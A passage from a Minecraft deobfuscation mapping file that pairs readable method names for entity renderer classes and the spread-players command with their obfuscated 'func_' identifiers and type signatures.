net/minecraft/client/renderer/entity/RenderChicken/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderChicken/getEntityTexture (Lnet/minecraft/entity/passive/EntityChicken;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderChicken/func_110775_a (Lnet/minecraft/entity/passive/EntityChicken;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderChicken/handleRotationFloat (Lnet/minecraft/entity/passive/EntityChicken;F)F net/minecraft/client/renderer/entity/RenderChicken/func_77044_a (Lnet/minecraft/entity/passive/EntityChicken;F)F +MD: net/minecraft/client/renderer/entity/RenderChicken/handleRotationFloat (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/entity/RenderChicken/func_77044_a (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/entity/RenderCow/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCow/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCow/getEntityTexture (Lnet/minecraft/entity/passive/EntityCow;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCow/func_110775_a (Lnet/minecraft/entity/passive/EntityCow;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCreeper/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCreeper/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCreeper/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderCreeper/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderCreeper/getColorMultiplier (Lnet/minecraft/entity/EntityLivingBase;FF)I net/minecraft/client/renderer/entity/RenderCreeper/func_77030_a (Lnet/minecraft/entity/EntityLivingBase;FF)I +MD: net/minecraft/client/renderer/entity/RenderCreeper/getEntityTexture (Lnet/minecraft/entity/monster/EntityCreeper;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderCreeper/func_110775_a (Lnet/minecraft/entity/monster/EntityCreeper;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderCreeper/preRenderCallback (Lnet/minecraft/entity/monster/EntityCreeper;F)V net/minecraft/client/renderer/entity/RenderCreeper/func_77041_b (Lnet/minecraft/entity/monster/EntityCreeper;F)V +MD: net/minecraft/client/renderer/entity/RenderCreeper/getColorMultiplier (Lnet/minecraft/entity/monster/EntityCreeper;FF)I net/minecraft/client/renderer/entity/RenderCreeper/func_77030_a (Lnet/minecraft/entity/monster/EntityCreeper;FF)I +MD: net/minecraft/client/renderer/entity/RenderEntity/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEntity/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEntity/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderEntity/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderEnderCrystal/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/tileentity/RenderEnderCrystal/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/getEntityTexture (Lnet/minecraft/entity/item/EntityEnderCrystal;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderEnderCrystal/func_110775_a (Lnet/minecraft/entity/item/EntityEnderCrystal;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderEnderCrystal/doRender (Lnet/minecraft/entity/item/EntityEnderCrystal;DDDFF)V net/minecraft/client/renderer/tileentity/RenderEnderCrystal/func_76986_a (Lnet/minecraft/entity/item/EntityEnderCrystal;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderDragon/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderDragon/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderDragon/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderDragon/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RenderDragon/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/renderModel (Lnet/minecraft/entity/EntityLivingBase;FFFFFF)V net/minecraft/client/renderer/entity/RenderDragon/func_77036_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderDragon/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/getEntityTexture (Lnet/minecraft/entity/boss/EntityDragon;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderDragon/func_110775_a (Lnet/minecraft/entity/boss/EntityDragon;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderDragon/drawRechargeRay (Lnet/minecraft/entity/boss/EntityDragon;DDDF)V net/minecraft/client/renderer/entity/RenderDragon/func_180574_a (Lnet/minecraft/entity/boss/EntityDragon;DDDF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/doRender (Lnet/minecraft/entity/boss/EntityDragon;DDDFF)V net/minecraft/client/renderer/entity/RenderDragon/func_76986_a (Lnet/minecraft/entity/boss/EntityDragon;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/rotateCorpse (Lnet/minecraft/entity/boss/EntityDragon;FFF)V net/minecraft/client/renderer/entity/RenderDragon/func_77043_a (Lnet/minecraft/entity/boss/EntityDragon;FFF)V +MD: net/minecraft/client/renderer/entity/RenderDragon/renderModel (Lnet/minecraft/entity/boss/EntityDragon;FFFFFF)V net/minecraft/client/renderer/entity/RenderDragon/func_77036_a (Lnet/minecraft/entity/boss/EntityDragon;FFFFFF)V +MD: net/minecraft/client/renderer/entity/RenderEnderman/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEnderman/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEnderman/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderEnderman/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEnderman/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderEnderman/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEnderman/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderEnderman/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEnderman/getEntityTexture (Lnet/minecraft/entity/monster/EntityEnderman;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEnderman/func_110775_a (Lnet/minecraft/entity/monster/EntityEnderman;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEnderman/doRender (Lnet/minecraft/entity/monster/EntityEnderman;DDDFF)V net/minecraft/client/renderer/entity/RenderEnderman/func_76986_a (Lnet/minecraft/entity/monster/EntityEnderman;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEndermite/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEndermite/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEndermite/getDeathMaxRotation (Lnet/minecraft/entity/monster/EntityEndermite;)F net/minecraft/client/renderer/entity/RenderEndermite/func_77037_a (Lnet/minecraft/entity/monster/EntityEndermite;)F +MD: net/minecraft/client/renderer/entity/RenderEndermite/getDeathMaxRotation (Lnet/minecraft/entity/EntityLivingBase;)F net/minecraft/client/renderer/entity/RenderEndermite/func_77037_a (Lnet/minecraft/entity/EntityLivingBase;)F +MD: net/minecraft/client/renderer/entity/RenderEndermite/getEntityTexture (Lnet/minecraft/entity/monster/EntityEndermite;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEndermite/func_110775_a (Lnet/minecraft/entity/monster/EntityEndermite;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderManager/isRenderShadow ()Z net/minecraft/client/renderer/entity/RenderManager/func_178627_a ()Z +MD: net/minecraft/client/renderer/entity/RenderManager/setRenderPosition (DDD)V net/minecraft/client/renderer/entity/RenderManager/func_178628_a (DDD)V +MD: net/minecraft/client/renderer/entity/RenderManager/setPlayerViewY (F)V net/minecraft/client/renderer/entity/RenderManager/func_178631_a (F)V +MD: net/minecraft/client/renderer/entity/RenderManager/set (Lnet/minecraft/world/World;)V net/minecraft/client/renderer/entity/RenderManager/func_78717_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/client/renderer/entity/RenderManager/cacheActiveRenderInfo (Lnet/minecraft/world/World;Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;Lnet/minecraft/client/settings/GameSettings;F)V net/minecraft/client/renderer/entity/RenderManager/func_180597_a (Lnet/minecraft/world/World;Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/entity/Entity;Lnet/minecraft/entity/Entity;Lnet/minecraft/client/settings/GameSettings;F)V +MD: net/minecraft/client/renderer/entity/RenderManager/getEntityClassRenderObject (Ljava/lang/Class;)Lnet/minecraft/client/renderer/entity/Render; net/minecraft/client/renderer/entity/RenderManager/func_78715_a (Ljava/lang/Class;)Lnet/minecraft/client/renderer/entity/Render; +MD: net/minecraft/client/renderer/entity/RenderManager/getEntityRenderObject (Lnet/minecraft/entity/Entity;)Lnet/minecraft/client/renderer/entity/Render; net/minecraft/client/renderer/entity/RenderManager/func_78713_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/client/renderer/entity/Render; +MD: net/minecraft/client/renderer/entity/RenderManager/renderEntityWithPosYaw (Lnet/minecraft/entity/Entity;DDDFF)Z net/minecraft/client/renderer/entity/RenderManager/func_147940_a (Lnet/minecraft/entity/Entity;DDDFF)Z +MD: net/minecraft/client/renderer/entity/RenderManager/doRenderEntity (Lnet/minecraft/entity/Entity;DDDFFZ)Z net/minecraft/client/renderer/entity/RenderManager/func_147939_a (Lnet/minecraft/entity/Entity;DDDFFZ)Z +MD: net/minecraft/client/renderer/entity/RenderManager/renderEntitySimple (Lnet/minecraft/entity/Entity;F)Z net/minecraft/client/renderer/entity/RenderManager/func_147937_a (Lnet/minecraft/entity/Entity;F)Z +MD: net/minecraft/client/renderer/entity/RenderManager/renderEntityStatic (Lnet/minecraft/entity/Entity;FZ)Z net/minecraft/client/renderer/entity/RenderManager/func_147936_a (Lnet/minecraft/entity/Entity;FZ)Z +MD: net/minecraft/client/renderer/entity/RenderManager/shouldRender (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/RenderManager/func_178635_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderManager/setRenderShadow (Z)V net/minecraft/client/renderer/entity/RenderManager/func_178633_a (Z)V +MD: net/minecraft/client/renderer/entity/RenderManager/isDebugBoundingBox ()Z net/minecraft/client/renderer/entity/RenderManager/func_178634_b ()Z +MD: net/minecraft/client/renderer/entity/RenderManager/getDistanceToCamera (DDD)D net/minecraft/client/renderer/entity/RenderManager/func_78714_a (DDD)D +MD: net/minecraft/client/renderer/entity/RenderManager/renderDebugBoundingBox (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderManager/func_85094_b (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderManager/renderWitherSkull (Lnet/minecraft/entity/Entity;F)V net/minecraft/client/renderer/entity/RenderManager/func_178630_b (Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/renderer/entity/RenderManager/setDebugBoundingBox (Z)V net/minecraft/client/renderer/entity/RenderManager/func_178629_b (Z)V +MD: net/minecraft/client/renderer/entity/RenderManager/getFontRenderer ()Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/renderer/entity/RenderManager/func_78716_a ()Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/renderer/entity/RenderManager/setRenderOutlines (Z)V net/minecraft/client/renderer/entity/RenderManager/func_178632_c (Z)V +MD: net/minecraft/client/renderer/entity/Render/getWorldFromRenderManager ()Lnet/minecraft/world/World; net/minecraft/client/renderer/entity/Render/func_76982_b ()Lnet/minecraft/world/World; +MD: net/minecraft/client/renderer/entity/Render/renderShadowBlock (Lnet/minecraft/block/Block;DDDLnet/minecraft/util/BlockPos;FFDDD)V net/minecraft/client/renderer/entity/Render/func_180549_a (Lnet/minecraft/block/Block;DDDLnet/minecraft/util/BlockPos;FFDDD)V +MD: net/minecraft/client/renderer/entity/Render/renderOffsetAABB (Lnet/minecraft/util/AxisAlignedBB;DDD)V net/minecraft/client/renderer/entity/Render/func_76978_a (Lnet/minecraft/util/AxisAlignedBB;DDD)V +MD: net/minecraft/client/renderer/entity/Render/bindTexture (Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/renderer/entity/Render/func_110776_a (Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/renderer/entity/Render/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/Render/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/Render/renderName (Lnet/minecraft/entity/Entity;DDD)V net/minecraft/client/renderer/entity/Render/func_177067_a (Lnet/minecraft/entity/Entity;DDD)V +MD: net/minecraft/client/renderer/entity/Render/renderEntityOnFire (Lnet/minecraft/entity/Entity;DDDF)V net/minecraft/client/renderer/entity/Render/func_76977_a (Lnet/minecraft/entity/Entity;DDDF)V +MD: net/minecraft/client/renderer/entity/Render/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/Render/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/Render/renderOffsetLivingLabel (Lnet/minecraft/entity/Entity;DDDLjava/lang/String;FD)V net/minecraft/client/renderer/entity/Render/func_177069_a (Lnet/minecraft/entity/Entity;DDDLjava/lang/String;FD)V +MD: net/minecraft/client/renderer/entity/Render/shouldRender (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/Render/func_177071_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/Render/renderLivingLabel (Lnet/minecraft/entity/Entity;Ljava/lang/String;DDDI)V net/minecraft/client/renderer/entity/Render/func_147906_a (Lnet/minecraft/entity/Entity;Ljava/lang/String;DDDI)V +MD: net/minecraft/client/renderer/entity/Render/canRenderName (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/entity/Render/func_177070_b (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/entity/Render/doRenderShadowAndFire (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/Render/func_76979_b (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/Render/getFontRendererFromRenderManager ()Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/renderer/entity/Render/func_76983_a ()Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/renderer/entity/Render/bindEntityTexture (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/entity/Render/func_180548_c (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/entity/Render/renderShadow (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/Render/func_76975_c (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/Render/getRenderManager ()Lnet/minecraft/client/renderer/entity/RenderManager; net/minecraft/client/renderer/entity/Render/func_177068_d ()Lnet/minecraft/client/renderer/entity/RenderManager; +MD: net/minecraft/client/renderer/entity/RenderXPOrb/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderXPOrb/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderXPOrb/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderXPOrb/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderXPOrb/getEntityTexture (Lnet/minecraft/entity/item/EntityXPOrb;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderXPOrb/func_110775_a (Lnet/minecraft/entity/item/EntityXPOrb;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderXPOrb/doRender (Lnet/minecraft/entity/item/EntityXPOrb;DDDFF)V net/minecraft/client/renderer/entity/RenderXPOrb/func_76986_a (Lnet/minecraft/entity/item/EntityXPOrb;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFallingBlock/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFallingBlock/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFallingBlock/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderFallingBlock/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFallingBlock/getEntityTexture (Lnet/minecraft/entity/item/EntityFallingBlock;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFallingBlock/func_110775_a (Lnet/minecraft/entity/item/EntityFallingBlock;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFallingBlock/doRender (Lnet/minecraft/entity/item/EntityFallingBlock;DDDFF)V net/minecraft/client/renderer/entity/RenderFallingBlock/func_76986_a (Lnet/minecraft/entity/item/EntityFallingBlock;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFireball/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFireball/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFireball/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderFireball/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFireball/getEntityTexture (Lnet/minecraft/entity/projectile/EntityFireball;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFireball/func_110775_a (Lnet/minecraft/entity/projectile/EntityFireball;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFireball/doRender (Lnet/minecraft/entity/projectile/EntityFireball;DDDFF)V net/minecraft/client/renderer/entity/RenderFireball/func_76986_a (Lnet/minecraft/entity/projectile/EntityFireball;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFish/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFish/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFish/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderFish/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderFish/getEntityTexture (Lnet/minecraft/entity/projectile/EntityFishHook;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderFish/func_110775_a (Lnet/minecraft/entity/projectile/EntityFishHook;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderFish/doRender (Lnet/minecraft/entity/projectile/EntityFishHook;DDDFF)V net/minecraft/client/renderer/entity/RenderFish/func_76986_a (Lnet/minecraft/entity/projectile/EntityFishHook;DDDFF)V +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111095_a ()V net/minecraft/command/CommandSpreadPlayers$Position/func_111095_a ()V +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111093_a (DDDD)Z net/minecraft/command/CommandSpreadPlayers$Position/func_111093_a (DDDD)Z +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111092_a (Lnet/minecraft/world/World;)I net/minecraft/command/CommandSpreadPlayers$Position/func_111092_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111099_a (Lnet/minecraft/command/CommandSpreadPlayers$Position;)D net/minecraft/command/CommandSpreadPlayers$Position/func_111099_a (Lnet/minecraft/command/CommandSpreadPlayers$Position;)D +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111097_a (Ljava/util/Random;DDDD)V net/minecraft/command/CommandSpreadPlayers$Position/func_111097_a (Ljava/util/Random;DDDD)V +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111096_b ()F net/minecraft/command/CommandSpreadPlayers$Position/func_111096_b ()F +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111098_b (Lnet/minecraft/world/World;)Z net/minecraft/command/CommandSpreadPlayers$Position/func_111098_b (Lnet/minecraft/world/World;)Z +MD: net/minecraft/command/CommandSpreadPlayers$Position/func_111094_b (Lnet/minecraft/command/CommandSpreadPlayers$Position;)V net/minecraft/command/CommandSpreadPlayers$Position/func_111094_b (Lnet/minecraft/command/CommandSpreadPlayers$Position;)V +MD: net/minecraft/command/CommandSpreadPlayers/getRequiredPermissionLevel ()I net/minecraft/command/CommandSpreadPlayers/func_82362_a ()I +MD: net/minecraft/command/CommandSpreadPlayers/func_110668_a (Lnet/minecraft/command/CommandSpreadPlayers$Position;DLnet/minecraft/world/World;Ljava/util/Random;DDDD[Lnet/minecraft/command/CommandSpreadPlayers$Position;Z)I net/minecraft/command/CommandSpreadPlayers/func_110668_a (Lnet/minecraft/command/CommandSpreadPlayers$Position;DLnet/minecraft/world/World;Ljava/util/Random;DDDD[Lnet/minecraft/command/CommandSpreadPlayers$Position;Z)I +MD: net/minecraft/command/CommandSpreadPlayers/func_110671_a (Ljava/util/List;Lnet/minecraft/world/World;[Lnet/minecraft/command/CommandSpreadPlayers$Position;Z)D net/minecraft/command/CommandSpreadPlayers/func_110671_a (Ljava/util/List;Lnet/minecraft/world/World;[Lnet/minecraft/command/CommandSpreadPlayers$Position;Z)D +MD: net/minecraft/command/CommandSpreadPlayers/func_110670_a (Ljava/util/Random;IDDDD)[Lnet/minecraft/command/CommandSpreadPlayers$Position; net/minecraft/command/CommandSpreadPlayers/func_110670_a (Ljava/util/Random;IDDDD)[Lnet/minecraft/command/CommandSpreadPlayers$Position; +MD: net/minecraft/command/CommandSpreadPlayers/func_110669_a (Lnet/minecraft/command/ICommandSender;Ljava/util/List;Lnet/minecraft/command/CommandSpreadPlayers$Position;DDLnet/minecraft/world/World;Z)V net/minecraft/command/CommandSpreadPlayers/func_110669_a (Lnet/minecraft/command/ICommandSender;Ljava/util/List;Lnet/minecraft/command/CommandSpreadPlayers$Position;DDLnet/minecraft/world/World;Z)V +MD: net/minecraft/command/CommandSpreadPlayers/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandSpreadPlayers/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandSpreadPlayers/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandSpreadPlayers/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandSpreadPlayers/func_110667_a (Ljava/util/List;)I net/minecraft/command/CommandSpreadPlayers/func_110667_a (Ljava/util/List;)I +MD: net/minecraft/command/CommandSpreadPlayers/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandSpreadPlayers/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandSpreadPlayers/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandSpreadPlayers/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/RenderGhast/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGhast/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGhast/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderGhast/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderGhast/getEntityTexture (Lnet/minecraft/entity/monster/EntityGhast;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGhast/func_110775_a (Lnet/minecraft/entity/monster/EntityGhast;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGhast/preRenderCallback (Lnet/minecraft/entity/monster/EntityGhast;F)V net/minecraft/client/renderer/entity/RenderGhast/func_77041_b (Lnet/minecraft/entity/monster/EntityGhast;F)V +MD: net/minecraft/client/renderer/entity/RenderGiantZombie$1/initArmor ()V net/minecraft/client/renderer/entity/RenderGiantZombie$1/func_177177_a ()V +MD: net/minecraft/client/renderer/entity/RenderGiantZombie/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RenderGiantZombie/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RenderGiantZombie/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGiantZombie/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGiantZombie/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderGiantZombie/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderGiantZombie/getEntityTexture (Lnet/minecraft/entity/monster/EntityGiantZombie;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGiantZombie/func_110775_a (Lnet/minecraft/entity/monster/EntityGiantZombie;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGiantZombie/preRenderCallback (Lnet/minecraft/entity/monster/EntityGiantZombie;F)V net/minecraft/client/renderer/entity/RenderGiantZombie/func_77041_b (Lnet/minecraft/entity/monster/EntityGiantZombie;F)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGuardian/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGuardian/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderGuardian/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/shouldRender (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z 